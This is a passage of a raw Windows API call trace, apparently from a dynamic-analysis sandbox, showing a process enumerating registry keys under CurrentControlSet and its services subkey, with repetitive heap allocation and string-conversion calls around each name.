(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.014] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.014] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0191.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.015] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0191.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0191.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.015] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0191.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0191.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.015] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0191.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0191.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.016] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0191.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0191.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0191.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.016] RegOpenKeyExW (in: hKey=0x140, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0191.016] RegCloseKey (hKey=0x140) returned 0x0 [0191.016] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0191.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0191.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.016] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0191.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0191.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.016] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0191.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0191.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0191.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.017] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0191.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0191.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.017] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0191.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0191.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.017] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0191.017] RegCloseKey (hKey=0x14c) returned 0x0 [0191.017] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0191.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0191.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.018] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0191.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0191.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f18e0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0191.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.018] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0191.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0191.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0191.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.026] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0191.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0191.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0191.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.027] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0191.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0191.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0191.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.027] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0191.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0191.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0191.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.027] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0191.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0191.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.027] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0191.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.028] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0191.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0191.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0191.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0191.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0191.028] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") 